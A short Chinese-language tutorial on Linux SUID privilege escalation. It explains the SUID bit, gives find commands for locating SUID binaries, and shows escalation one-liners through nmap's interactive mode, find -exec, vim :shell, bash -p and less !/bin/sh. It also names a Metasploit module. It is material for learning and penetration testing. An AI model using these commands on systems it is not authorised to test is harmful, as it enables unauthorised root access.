Linux的SUID提权

0x01 SUID

什么是suid？通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。

0x02 SUID提权

那么什么是suid提权呢？我理解的就是有个文件，它有s标志，并且他输入root，那么我们运行这个程序就可以有了root的权限，并且这个程序还得能执行命令，不然没什么用处，那么我们就能从普通用户提升到了root权限了。

0x03 常见的可用于suid提权的命令

Nmap

Vim

find

Bash

More

Less

Nano

cp

0x04 查找符合条件的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

0x05 详细介绍

• nmap
  老版的nmap(2.02-5.21)有相互的功能–interactive

  nmap> !sh
  sh-3.2# whoami
  root

msf中也有相关的模块

exploit/unix/local/setuid_nmap

• find

如果find以SUID权限运行，所有通过find执行的命令都会以root权限运行。

touch test
find test -exec whoami \;

• vim

如果vim以SUID运行，就会继承root用户的权限，可以读取系统中所有的文件

vim/vi
:shell

• bash

bash -p
># id

• less/more

less /etc/passwd
!/bin/sh